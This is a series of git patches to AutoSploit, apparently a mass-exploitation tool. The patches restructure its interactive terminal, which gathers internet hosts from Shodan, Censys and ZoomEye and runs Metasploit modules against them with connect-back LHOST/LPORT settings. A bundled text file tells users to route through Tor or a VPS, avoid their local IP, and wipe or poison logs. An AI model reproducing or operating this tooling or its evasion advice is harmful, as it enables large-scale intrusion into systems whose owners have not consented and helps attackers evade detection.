spacer2 = " ", " " + elif len(list(str(i))) == 3: + spacer1, spacer2 = " ", " " + else: + spacer1, spacer2 = " ", " " + print("{}{}{}{}".format(spacer1, i, spacer2, item)) - def view_gathered_hosts(self): + def get_choice(self): """ - print a list of all available hosts in the hosts.txt file - - option 5 must be provided + get the provided choice and return a tuple of options and the choice """ - lib.output.info("loading gathered hosts from '{}'".format(self.host_path)) + original_choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) try: - with open(self.host_path) as hosts: - for host in hosts.readlines(): - # should take care of some Unicode errors that occur - lib.output.info(str(host.strip())) - except IOError: - lib.output.warning("hosts file doesn't exist, looks like you haven't gathered any") + choice_checker = original_choice.split(" ")[0] + except: + choice_checker = original_choice + if choice_checker in self.internal_terminal_commands: + retval = ("internal", original_choice) + elif choice_checker in self.external_terminal_commands: + retval = ("external", original_choice) + else: + retval = ("unknown", original_choice) + return retval - def add_single_host(self): + def do_display_external(self): """ - add a singular host to the hosts.txt file and check if the host - will resolve to a true IP address, if it is not a true IP address - you will be re-prompted for an IP address - - option 4 must be provided + display all external commands """ - provided = False - while not provided: - new_host = lib.output.prompt("enter the host IP you wish to add", lowercase=False) - if not lib.settings.validate_ip_addr(new_host): - lib.output.warning("provided host does not appear to be a true IP, try again") - else: - with open(self.host_path, "a+") as hosts: - hosts.write(new_host + os.linesep) - lib.output.info("successfully wrote provided host to {}".format(self.host_path)) - break + print(" ".join(self.external_terminal_commands)) - def quit(self, status): + def do_terminal_command(self, command): """ - quits the terminal and exits the program entirely - - option 99 must be provided + run a terminal command """ - lib.output.error("aborting terminal session") - assert isinstance(status, int) - sys.exit(status) + lib.settings.cmdline(command, is_msf=False) - def gather_hosts(self, query, given_choice=None, proxy=None, agent=None): + def do_token_reset(self, api, token, username): """ - gather hosts from either Shodan, Zoomeye, Censys, or multiple - by providing a comma between integers. - - option 2 must be provided + reset the API tokens """ - choice_dict = { - 1: api_calls.shodan.ShodanAPIHook, - 2: api_calls.zoomeye.ZoomEyeAPIHook, - 3: api_calls.censys.CensysAPIHook - } - searching = False - if given_choice is None: - lib.output.info("please choose an API to gather from (choosing two or more " - "separate by comma IE; 1,2)") - for i, api in enumerate(lib.settings.API_URLS.keys(), start=1): - print("{}. {}".format(i, api.title())) - choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) + if api.lower() == "censys": + lib.output.info("resetting censys API credentials") + with open(lib.settings.API_KEYS["censys"][0], 'w') as token_: + token_.write(token) + with open(lib.settings.API_KEYS["censys"][1], 'w') as username_: + username_.write(username) else: - choice = given_choice - while not searching: - # TODO[2]:// bug in the animation, if the user chooses one search engine to search - # the animation does not stop when the user chooses a single search engine, instead - # the user will see the animation continuously until they either: - # A) exit the terminal - # B) search another search engine - try: - # something in here needs to change (see TODO[2]) - choice = int(choice) - if choice == 1: - choice_dict[choice]( - self.tokens["shodan"][0], query, proxy=proxy, agent=agent - ).shodan() - break - elif choice == 2: - choice_dict[choice](query, proxy=proxy, agent=agent).zoomeye() - break - elif choice == 3: - choice_dict[choice]( - self.tokens["censys"][1], self.tokens["censys"][0], query, - proxy=proxy, agent=agent - ).censys() - break - else: - lib.output.warning("invalid option provided, going back to main menu") - break - except (ValueError, KeyError): - if "," in choice: - for i in choice.split(","): - if int(i) in choice_dict.keys(): - self.gather_hosts(query, given_choice=int(i), proxy=proxy, agent=agent) - else: - lib.output.warning("invalid option, skipping") - break - break - else: - lib.output.warning("must be integer between 1-{} not string".format(len(lib.settings.API_URLS.keys()))) - self.gather_hosts(query, proxy=proxy, agent=agent) - except Exception as e: - lib.settings.stop_animation = True - lib.output.error("unable to search API got error: {}".format(str(e))) - break + with open(lib.settings.API_KEYS["shodan"][0], 'w') as token_: + token_.write(token) + lib.output.warning("program must be restarted for the new tokens to initialize") - def exploit_gathered_hosts(self, loaded_mods, hosts=None): + def do_api_search(self, requested_api_data, query, tokens, proxy=None, agent=None): """ - exploit already gathered hosts from the hosts.txt file - - option 6 must be provided + search the API's for hosts """ - ruby_exec = False - msf_path = None - whitelist_file = lib.output.prompt("specify full path to a whitelist file, otherwise hit enter", lowercase=False) - if hosts is None: - if whitelist_file is not "" and not whitelist_file.isspace(): - # If whitelist is specified, return a washed hosts list - host_file = lib.exploitation.exploiter.whitelist_wash(open(self.host_path).readlines(), whitelist_file) - else: - try: - host_file = open(self.host_path).readlines() - except Exception: - sys.stdout.flush() - lib.output.error("no host file is present, did you gather hosts?") - return - else: - if whitelist_file is not "" and not whitelist_file.isspace(): - # If whitelist is specified, return a washed hosts list - host_file = lib.exploitation.exploiter.whitelist_wash(open(hosts).readlines(), whitelist_file) + acceptable_api_names = ("shodan", "censys", "zoomeye") + api_checker = lambda l: all(i.lower() in acceptable_api_names for i in l) + + try: + if len(query) < 1: + query = "".join(query) else: - host_file = open(hosts).readlines() - if not lib.settings.check_for_msf(): - msf_path = lib.output.prompt( - "it appears that MSF is not in your PATH, provide the full path to msfconsole" - ) - ruby_exec = True - lib.output.info( - "you will need to do some configuration to MSF.\n" - "please keep in mind that sending connections back to " - "your local host is probably not a smart idea." - ) - configuration = ( - lib.output.prompt("enter your workspace name", lowercase=False), - lib.output.prompt("enter your LHOST", lowercase=False), - lib.output.prompt("enter your LPORT", lowercase=False) - ) - exploiter = lib.exploitation.exploiter.AutoSploitExploiter( - configuration, - loaded_mods, - hosts=host_file, - ruby_exec=ruby_exec, - msf_path=msf_path - ) + query = " ".join(query) + except: + query = query + + if query == "" or query.isspace(): + lib.output.warning("looks like you forgot the query") + return try: - sorted_mods = exploiter.sort_modules_by_query() - choice = lib.output.prompt( - "a total of {} modules have been sorted by relevance, would you like to display them[y/N]".format( - len(sorted_mods) - ) + api_list = requested_api_data.split(",") + except: + api_list = [requested_api_data] + prompt_for_save = len(open(lib.settings.HOST_FILE).readlines()) != 0 + if prompt_for_save: + save_mode = lib.output.prompt( + "would you like to [a]ppend or [o]verwrite the file[a/o]", lowercase=True ) + if save_mode.startswith("o"): + backup = lib.settings.backup_host_file(lib.settings.HOST_FILE, lib.settings.HOST_FILE_BACKUP) + lib.output.misc_info("current host file backed up under: '{}'".format(backup)) + save_mode = "w" + else: + if not any(save_mode.startswith(s) for s in ("a", "o")): + lib.output.misc_info("provided option is not valid, defaulting to 'a'") + save_mode = "a+" + else: + save_mode = "a+" - if not choice.lower().strip().startswith("y"): - mods = lib.output.prompt("use relevant modules[y/N]") - if mods.lower().startswith("n"): - lib.output.info( - "starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) - exploiter.start_exploit() - elif mods.lower().startswith("y"): - lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) - exploiter.start_exploit() + proxy = lib.output.prompt("enter your proxy or press enter for none", lowercase=False) + if proxy.isspace() or proxy == "": + proxy = {"http": "", "https": ""} + else: + proxy = {"http": proxy, "https": proxy} + agent = lib.output.prompt("use a [r]andom User-Agent or the [d]efault one[r/d]", lowercase=True) + if agent.startswith("r"): + agent = {"User-Agent": lib.settings.grab_random_agent()} + elif agent.startswith("d"): + agent = {"User-Agent": lib.settings.DEFAULT_USER_AGENT} + else: + lib.output.warning("invalid option, using default") + agent = {"User-Agent": lib.settings.DEFAULT_USER_AGENT} + for api in api_list: + res = api_checker([api]) + if not res: + lib.output.error( + "API: '{}' is not a valid API, will be skipped".format(api) + ) else: - exploiter.view_sorted() - mods = lib.output.prompt("use relevant modules[y/N]") - if mods.lower().startswith("n"): - lib.output.info( - "starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) - exploiter.start_exploit() - elif mods.lower().startswith("y"): - lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) - exploiter.start_exploit() - except AttributeError: - lib.output.warning("unable to sort modules by relevance") + with open(lib.settings.QUERY_FILE_PATH, "a+") as tmp: + tmp.write(query) + lib.output.info( + "starting search on API {} using query: '{}'".format(api, query) + ) + try: + self.api_call_pointers[api.lower()]( + token=tokens["shodan"][0] if api == "shodan" else tokens["censys"][0], + identity=tokens["censys"][1] if api == "censys" else "", + query=query, + save_mode=save_mode, + proxy=proxy, + agent=agent + ).search() + except lib.errors.AutoSploitAPIConnectionError as e: + lib.settings.stop_animation = True + lib.output.error("error searching API: '{}', error message: '{}'".format(api, str(e))) + lib.settings.stop_animation = True + + def do_display_usage(self): + """ + display the full help menu + """ + print(lib.settings.TERMINAL_HELP_MESSAGE) - def custom_host_list(self, mods): + def do_view_gathered(self): """ - provided a custom host list that will be used for exploitation + view the gathered hosts + """ + if len(self.loaded_hosts) != 0: + for host in self.loaded_hosts: + lib.output.info(host) + else: + lib.output.warning("currently no gathered hosts") - option 3 must be provided + def do_add_single_host(self, ip): """ - provided_host_file = lib.output.prompt("enter the full path to your host file", lowercase=False) - if provided_host_file == "": - lib.output.error("you provided a blank hosts file, did you mean to?") - lib.output.info("defaulting to default hosts file (press CNTRL-C to go back and try again)") - self.exploit_gathered_hosts(mods, hosts=self.host_path) + add a single host to the host file + """ + validated_ip = lib.settings.validate_ip_addr(ip) + if not validated_ip: + lib.output.error("provided IP '{}' is invalid, try again".format(ip)) else: - self.exploit_gathered_hosts(mods, hosts=provided_host_file) + with open(lib.settings.HOST_FILE, "a+") as hosts: + hosts.write(ip + "\n") + lib.output.info("host '{}' saved to hosts file".format(ip)) - def terminal_main_display(self, loaded_mods): + def do_quit_terminal(self, save_history=True): """ - main output of the terminal + quit the terminal and save the command history """ + self.quit_terminal = True + if save_history: + if not os.path.exists(self.history_dir): + os.makedirs(self.history_dir) + lib.output.misc_info("saving history") + with open(self.full_history_path, "a+") as hist: + for item in self.history: + hist.write(item + "\n") + lib.output.info("exiting terminal session") - def __config_headers(): - proxy = lib.output.prompt("enter your proxy (blank for none)", lowercase=False) - agent = lib.output.prompt( - "do you want to use a (p)ersonal user agent, a (r)andom one, or (d)efault" + def do_exploit_targets(self, workspace_info): + """ + exploit the already gathered targets + """ + if workspace_info[-1] is not None: + lib.output.misc_info("doing whitewash on hosts file") + lib.exploitation.exploiter.whitelist_wash( + open(lib.settings.HOST_FILE).readlines(), + workspace_info[-1] ) - if proxy == "" or proxy.isspace(): - proxy = None - if agent.lower().startswith("p"): - agent = lib.output.prompt("enter your User-Agent", lowercase=False) - elif agent.lower().startswith("r"): - agent = lib.settings.grab_random_agent() - elif agent.lower().startswith("d"): - agent = None + else: + if not lib.settings.check_for_msf(): + msf_path = lib.output.prompt( + "metasploit is not in your PATH, provide the full path to it", lowercase=False + ) + ruby_exec = True else: - lib.output.warning("invalid argument, default will be selected") - agent = None - proxy, agent = lib.settings.configure_requests(proxy=proxy, agent=agent) - return proxy, agent + msf_path = None + ruby_exec = False + + sort_mods = lib.output.prompt( + "sort modules by relevance to last query[y/N]", lowercase=True + ) + + try: + if sort_mods.lower().startswith("y"): + mods_to_use = lib.exploitation.exploiter.AutoSploitExploiter( + None, None + ).sort_modules_by_query() + else: + mods_to_use = self.modules + except Exception: + lib.output.error("error sorting modules defaulting to all") + mods_to_use = self.modules - selected = False + view_modules = lib.output.prompt("view sorted modules[y/N]", lowercase=True) + if view_modules.startswith("y"): + for mod in mods_to_use: + lib.output.misc_info(mod.strip()) + lib.output.prompt("press enter to start exploitation phase") + lib.output.info("starting exploitation phase") + lib.exploitation.exploiter.AutoSploitExploiter( + configuration=workspace_info[0:3], + all_modules=mods_to_use, + hosts=open(lib.settings.HOST_FILE).readlines(), + msf_path=msf_path, + ruby_exec=ruby_exec + ).start_exploit() + + def do_load_custom_hosts(self, file_path): + """ + load a custom hosts file + """ + import shutil try: - while not selected: - for i in lib.settings.AUTOSPLOIT_TERM_OPTS.keys(): - print("{}. {}".format(i, lib.settings.AUTOSPLOIT_TERM_OPTS[i].title())) - choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) - # TODO[3] this is ugly so it needs to change + open("{}".format(file_path)).close() + except Exception: + lib.output.error("file does not exist, check the path and try again") + return + lib.output.warning("overwriting hosts file with provided, and backing up current") + backup_path = lib.settings.backup_host_file(lib.settings.HOST_FILE, lib.settings.HOST_FILE_BACKUP) + shutil.copy(file_path, lib.settings.HOST_FILE) + lib.output.info("host file replaced, backup stored under '{}'".format(backup_path)) + self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() + + def terminal_main_display(self, tokens, extra_commands=None, save_history=True): + """ + terminal main display + """ + if extra_commands is not None: + for command in extra_commands: + self.external_terminal_commands.append(command) + self.reflect_memory() + while not self.quit_terminal: + try: + lib.settings.auto_completer(self.internal_terminal_commands) try: - choice = int(choice) - if choice == 99: - print(self.sep) - self.quit(0) - print(self.sep) - elif choice == 6: - print(self.sep) - self.exploit_gathered_hosts(loaded_mods) - print(self.sep) - elif choice == 5: - print(self.sep) - self.view_gathered_hosts() - print(self.sep) - elif choice == 4: - print(self.sep) - self.add_single_host() - print(self.sep) - elif choice == 3: - print(self.sep) - self.custom_host_list(loaded_mods) - print(self.sep) - elif choice == 2: - print(self.sep) - query = lib.output.prompt("enter your search query", lowercase=False) - try: - with open(lib.settings.QUERY_FILE_PATH, "w") as _query: - _query.write(query) - except AttributeError: - import tempfile # oooops - filename = tempfile.NamedTemporaryFile(delete=False).name - with open(filename, "w") as _query: - _query.write(query) - lib.settings.QUERY_FILE_PATH = filename - proxy, agent = __config_headers() - # possibly needs to change here (see TODO[2]) - self.gather_hosts(query, proxy=proxy, agent=agent) - print(self.sep) - elif choice == 1: - print(self.sep) - self.usage_and_legal() - else: - lib.output.warning("invalid option provided") - except ValueError: - if not choice == "help": - if "help" in choice: - try: - help_arg = choice.split(" ") - self.help(help_arg[-1]) - except: - lib.output.error("choice must be integer not string") + choice_type, choice = self.get_choice() + if choice_type == "unknown": + sims = lib.settings.find_similar( + choice, + self.internal_terminal_commands, + self.external_terminal_commands + ) + if len(sims) != 0: + max_sims_display = 7 + print( + "no command '{}' found, but there {} {} similar command{}".format( + choice, + "are" if len(sims) > 1 else "is", + len(sims), + "s" if len(sims) > 1 else "" + ) + ) + if len(sims) > max_sims_display: + print("will only display top {} results".format(max_sims_display)) + for i, cmd in enumerate(sims, start=1): + if i == max_sims_display: + break + print(cmd) + print("{}: command not found".format(choice)) else: - lib.output.warning("option must be integer not string") - elif choice == "help": - AutoSploitTerminal.help_menu_full() + print("{} command not found".format(choice)) + self.history.append(choice) + elif choice_type == "external": + self.do_terminal_command(choice) + self.history.append(choice) + else: + try: + choice_data_list = choice.split(" ") + if choice_data_list[-1] == "": + choice_data_list = None + except: + choice_data_list = None + if any(c in choice for c in ("help", "?")): + self.do_display_usage() + elif any(c in choice for c in ("external",)): + self.do_display_external() + elif any(c in choice for c in ("history", "mem", "memory")): + self.do_display_history() + elif any(c in choice for c in ("exit", "quit")): + self.do_quit_terminal(save_history=save_history) + elif any(c in choice for c in ("view", "gathered")): + self.do_view_gathered() + elif "single" in choice: + if choice_data_list is None or len(choice_data_list) == 1: + lib.output.error("must provide host IP after `single` keyword (IE single 89.65.78.123)") + else: + self.do_add_single_host(choice_data_list[-1]) + elif any(c in choice for c in ("exploit", "run", "attack")): + if len(choice_data_list) < 4: + lib.output.error( + "must provide at least LHOST, LPORT, workspace name with `{}` keyword " + "(IE {} 127.0.0.1 9076 default [whitelist-path])".format( + choice, choice + ) + ) + else: + if lib.settings.validate_ip_addr(choice_data_list[1], home_ok=True): + try: + workspace = ( + choice_data_list[1], choice_data_list[2], + choice_data_list[3], choice_data_list[4] + ) + except IndexError: + workspace = ( + choice_data_list[1], choice_data_list[2], + choice_data_list[3], None + ) + self.do_exploit_targets(workspace) + else: + lib.output.warning( + "heuristics could not validate provided IP address, " + "did you type it right?" + ) + elif any(c in choice for c in ("personal", "custom")): + if len(choice_data_list) == 1: + lib.output.error("must provide full path to file after `{}` keyword".format(choice)) + else: + self.do_load_custom_hosts(choice_data_list[-1]) + elif any(c in choice for c in ("search", "api", "gather")): + if len(choice_data_list) < 3: + lib.output.error( + "must provide a list of API names after `{}` keyword and query " + "(IE {} shodan,censys apache2)".format( + choice, choice + ) + ) + else: + self.do_api_search(choice_data_list[1], choice_data_list[2:], tokens) + elif any(c in choice for c in ("idkwhatimdoing", "ethics", "skid")): + import random + + if choice == "ethics" or choice == "idkwhatimdoing": + ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd()) + other_file = "{}/etc/text_files/gen".format(os.getcwd()) + with open(ethics_file) as ethics: + ethic = random.choice(ethics.readlines()).strip() + lib.output.info("take this ethical lesson into consideration before proceeding:") + print("\n{}\n".format(ethic)) + lib.output.warning(open(other_file).read()) + else: + lib.output.warning("hack to learn, don't learn to hack") + elif any(c in choice for c in ("tokens", "reset")): + acceptable_api_names = ("shodan", "censys") - except KeyboardInterrupt: - print("\n") - self.terminal_main_display(loaded_mods) + if len(choice_data_list) < 3: + lib.output.error( + "must supply API name with `{}` keyword along with " + "new token (IE {} shodan mytoken123 [userID (censys)])".format( + choice, choice + ) + ) + else: + if choice_data_list[1].lower() in acceptable_api_names: + try: + api, token, username = choice_data_list[1], choice_data_list[2], choice_data_list[3] + except IndexError: + api, token, username = choice_data_list[1], choice_data_list[2], None + self.do_token_reset(api, token, username) + else: + lib.output.error("cannot reset {} API credentials".format(choice)) + self.history.append(choice) + except KeyboardInterrupt: + lib.output.warning("use the `exit/quit` command to end terminal session") + except IndexError: + pass \ No newline at end of file From 90d551683ce35b6e5fc298f41991a24cc1eadecd Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 31 Dec 2018 19:58:18 -0600 Subject: [PATCH 23/77] minor update when viewing hosts --- lib/term/terminal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 472ed1f..508ac06 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -240,7 +240,7 @@ def do_view_gathered(self): """ if len(self.loaded_hosts) != 0: for host in self.loaded_hosts: - lib.output.info(host) + lib.output.info(host.strip()) else: lib.output.warning("currently no gathered hosts") From 3556b9e2e6412da43303b1f124c53342b51da7ff Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 31 Dec 2018 20:00:27 -0600 Subject: [PATCH 24/77] adding 'external' to the commands help --- lib/settings.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/settings.py b/lib/settings.py index 2488f09..12cc946 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -52,6 +52,7 @@ def complete_text(self, text, state): exit/quit Exit the terminal session single Load a single host into the file tokens/reset Reset API tokens if needed +external View loaded external commands help/? Display this help """ From c6b7c5c02e1b941c6d132164d21742b1591a875e Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 1 Jan 2019 00:04:44 -0600 Subject: [PATCH 25/77] missing an option --- lib/settings.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/settings.py b/lib/settings.py index 12cc946..37a1f6a 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -51,6 +51,7 @@ def complete_text(self, text, state): search/api/gather Search the API's for hosts exit/quit Exit the terminal session single Load a single host into the file +personal/custom Load a custom host file tokens/reset Reset API tokens if needed external View loaded external commands help/? Display this help From 4f88c18c6631a0eb0f66e3117cc6057097c2e9a3 Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 1 Jan 2019 01:24:14 -0600 Subject: [PATCH 26/77] created a way to get help on a specific command by typing command help --- autosploit/main.py | 4 -- lib/term/terminal.py | 91 ++++++++++++++++++++++++++++++++++++++++---- 2 files changed, 84 insertions(+), 11 deletions(-) diff --git a/autosploit/main.py b/autosploit/main.py index 3839ab5..60396d3 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -109,10 +109,6 @@ def main(): AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) else: - warning( - "no arguments have been parsed, defaulting to terminal session. " - "press 99 to quit and type `help` to view the help menus" - ) misc_info("checking if there are multiple exploit files") loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) info("attempting to load API keys") diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 508ac06..2be4cf0 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -138,7 +138,21 @@ def do_terminal_command(self, command): def do_token_reset(self, api, token, username): """ - reset the API tokens + Explanation: + ------------ + Reset the API tokens when needed, this will overwrite the existing + API token with a provided one + + Parameters: + ----------- + :param api: name of the API to reset + :param token: the token that will overwrite the current token + :param username: if resetting Censys this will be the user ID token + + Examples: + --------- + Censys -> reset/tokens censys + Shodan -> reset.tokens shodan """ if api.lower() == "censys": lib.output.info("resetting censys API credentials") @@ -151,9 +165,21 @@ def do_token_reset(self, api, token, username): token_.write(token) lib.output.warning("program must be restarted for the new tokens to initialize") - def do_api_search(self, requested_api_data, query, tokens, proxy=None, agent=None): + def do_api_search(self, requested_api_data, query, tokens): """ - search the API's for hosts + Explanation: + ------------ + Search the API with a provided query for potentially exploitable hosts. + + Parameters: + ----------- + :param requested_api_data: data to be used with the API tuple of info + :param query: the query to be searched + :param tokens: an argument dict that will contain the token information + + Examples: + --------- + search/api/gather shodan[,censys[,zoomeye]] windows 10 """ acceptable_api_names = ("shodan", "censys", "zoomeye") api_checker = lambda l: all(i.lower() in acceptable_api_names for i in l) @@ -246,7 +272,17 @@ def do_view_gathered(self): def do_add_single_host(self, ip): """ - add a single host to the host file + Explanation: + ------------ + Add a single host by IP address + + Parameters: + ----------- + :param ip: IP address to be added + + Examples: + --------- + single 89.76.12.124 """ validated_ip = lib.settings.validate_ip_addr(ip) if not validated_ip: @@ -272,7 +308,17 @@ def do_quit_terminal(self, save_history=True): def do_exploit_targets(self, workspace_info): """ - exploit the already gathered targets + Explanation: + ------------ + Exploit the already gathered hosts inside of the hosts.txt file + + Parameters: + ----------- + :param workspace_info: a tuple of workspace information + + Examples: + --------- + exploit/run/attack 127.0.0.1 9065 default [whitewash list] """ if workspace_info[-1] is not None: lib.output.misc_info("doing whitewash on hosts file") @@ -321,7 +367,19 @@ def do_exploit_targets(self, workspace_info): def do_load_custom_hosts(self, file_path): """ - load a custom hosts file + Explanation: + ----------- + Load a custom exploit file, this is useful to attack already gathered hosts + instead of trying to gather them again from the backup host files inside + of the `.autosploit_home` directory + + Parameters: + ----------- + :param file_path: the full path to the loadable hosts file + + Examples: + --------- + custom/personal /some/path/to/myfile.txt """ import shutil @@ -340,6 +398,12 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): """ terminal main display """ + lib.output.warning( + "no arguments have been passed, dropping into terminal session. " + "to get help type `help` to quit type `exit/quit` to get help on " + "a specific command type `command help`" + ) + if extra_commands is not None: for command in extra_commands: self.external_terminal_commands.append(command) @@ -385,7 +449,7 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): choice_data_list = None except: choice_data_list = None - if any(c in choice for c in ("help", "?")): + if choice == "?" or choice == "help": self.do_display_usage() elif any(c in choice for c in ("external",)): self.do_display_external() @@ -396,11 +460,16 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): elif any(c in choice for c in ("view", "gathered")): self.do_view_gathered() elif "single" in choice: + if "help" in choice_data_list: + print(self.do_add_single_host.__doc__) + if choice_data_list is None or len(choice_data_list) == 1: lib.output.error("must provide host IP after `single` keyword (IE single 89.65.78.123)") else: self.do_add_single_host(choice_data_list[-1]) elif any(c in choice for c in ("exploit", "run", "attack")): + if "help" in choice_data_list: + print(self.do_exploit_targets.__doc__) if len(choice_data_list) < 4: lib.output.error( "must provide at least LHOST, LPORT, workspace name with `{}` keyword " @@ -427,11 +496,16 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): "did you type it right?" ) elif any(c in choice for c in ("personal", "custom")): + if "help" in choice_data_list: + print(self.do_load_custom_hosts.__doc__) if len(choice_data_list) == 1: lib.output.error("must provide full path to file after `{}` keyword".format(choice)) else: self.do_load_custom_hosts(choice_data_list[-1]) elif any(c in choice for c in ("search", "api", "gather")): + if "help" in choice_data_list: + print(self.do_api_search.__doc__) + if len(choice_data_list) < 3: lib.output.error( "must provide a list of API names after `{}` keyword and query " @@ -457,6 +531,9 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): elif any(c in choice for c in ("tokens", "reset")): acceptable_api_names = ("shodan", "censys") + if "help" in choice_data_list: + print(self.do_token_reset.__doc__) + if len(choice_data_list) < 3: lib.output.error( "must supply API name with `{}` keyword along with " From e97e992d2e8ab2e21d467e0b838b3cb4fdc5b202 Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 1 Jan 2019 01:30:13 -0600 Subject: [PATCH 27/77] fixing some exceptions to be more acceptable with pep coding style --- lib/exploitation/exploiter.py | 2 +- lib/jsonize.py | 2 +- lib/term/terminal.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index ad9e33c..a175611 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -29,7 +29,7 @@ def whitelist_wash(hosts, whitelist_file): washed_hosts.append(host) return washed_hosts - except Exception: + except IOError: lib.output.warning("unable to whitewash host list, does the file exist?") return hosts diff --git a/lib/jsonize.py b/lib/jsonize.py index 5613baf..bcf6ec1 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -58,7 +58,7 @@ def load_exploits(path, node="exploits"): try: selected_file = file_list[int(action) - 1] selected = True - except Exception: + except Except: lib.output.warning("invalid selection ('{}'), select from below".format(action)) selected = False else: diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 2be4cf0..198aabf 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -385,7 +385,7 @@ def do_load_custom_hosts(self, file_path): try: open("{}".format(file_path)).close() - except Exception: + except IOError: lib.output.error("file does not exist, check the path and try again") return lib.output.warning("overwriting hosts file with provided, and backing up current") From 5206721dcbbc4d559af28174a28428d96d18cba9 Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 1 Jan 2019 01:48:59 -0600 Subject: [PATCH 28/77] created a __reload functiont hat reloads the hosts from the host file, upped the length of the backup hosts file --- lib/settings.py | 2 +- lib/term/terminal.py | 8 ++++++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/settings.py b/lib/settings.py index 37a1f6a..078c8b4 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -161,7 +161,7 @@ def backup_host_file(current, path): os.makedirs(path) new_filename = "{}/hosts_{}_{}.txt".format( path, - lib.jsonize.random_file_name(length=17), + lib.jsonize.random_file_name(length=22), str(datetime.datetime.today()).split(" ")[0] ) shutil.copyfile(current, new_filename) diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 198aabf..a871e01 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -61,9 +61,12 @@ def __init__(self, tokens, modules): self.modules = modules try: self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() - except: + except IOError: lib.output.warning("no hosts file present") - self.loaded_hosts = [] + self.loaded_hosts = open(lib.settings.HOST_FILE, "a+").readlines() + + def __reload(self): + self.loaded_hosts = open(lib.settings.HOST_FILE).readlines() def reflect_memory(self, max_memory=100): """ @@ -551,6 +554,7 @@ def terminal_main_display(self, tokens, extra_commands=None, save_history=True): else: lib.output.error("cannot reset {} API credentials".format(choice)) self.history.append(choice) + self.__reload() except KeyboardInterrupt: lib.output.warning("use the `exit/quit` command to end terminal session") except IndexError: From 3cefb7262a9c4781ca0685b1e1e0b1f60dd1fa5f Mon Sep 17 00:00:00 2001 From: NullArray Date: Wed, 2 Jan 2019 10:44:25 +0000 Subject: [PATCH 29/77] Update gen --- etc/text_files/gen | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/etc/text_files/gen b/etc/text_files/gen index f2d3a1b..6fe17af 100644 --- a/etc/text_files/gen +++ b/etc/text_files/gen @@ -1,8 +1,18 @@ -usage of AutoSploit for attacking targets without prior mutual consent is illegal in pretty much every sense of the word. it is the end user's responsibility to obey all applicable local, state, and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program. please take these considerations into mind: +Usage of AutoSploit for attacking targets without prior mutual consent is illegal in pretty much every sense of the word. It is the +end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible +for any misuse or damage caused by this program or any component thereof. - - use AutoSploit on a VPS through a proxy or Tor - - keep calm and wipe the logs or use tools to do so - - never connect from your local IP address - - keep a low profile, the point of hacking is not to get caught +Developers do not encourage nor condone any illegal activity; -we do not condone hacking of any sort, the above are tips to keep in mind for ethical purposes. having said that, knowledge is not illegal, and anybody that tells you learning is wrong is a fool. get as much out of this program as we got from writing it. \ No newline at end of file +In OffSec/RedTeam engagements it is important however to mind your operational security. With that in mind, please consider the following: + + - Use AutoSploit on a VPS through a proxy(chain) or Tor + - Keep calm and wipe/data-poison the logs or use tools to do so + - Never connect from your local IP address + - Keep a low profile, AutoSploit is loud + + +In closing, knowledge is not illegal and anybody that tells you learning is wrong is a fool. +Get as much out of this program as we got from writing it. Remember though, common sense and a sense of ethics go a long way. + +Thank you. From 866fbe379ad492e9333904c9cff6838d77772b4b Mon Sep 17 00:00:00 2001 From: Ekultek Date: Fri, 4 Jan 2019 10:31:12 -0700 Subject: [PATCH 30/77] fixes issue #327 --- lib/jsonize.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/jsonize.py b/lib/jsonize.py index bcf6ec1..5613baf 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -58,7 +58,7 @@ def load_exploits(path, node="exploits"): try: selected_file = file_list[int(action) - 1] selected = True - except Except: + except Exception: lib.output.warning("invalid selection ('{}'), select from below".format(action)) selected = False else: From fabc3af75f646333b298b9671311d753745621d1 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Fri, 4 Jan 2019 10:31:33 -0700 Subject: 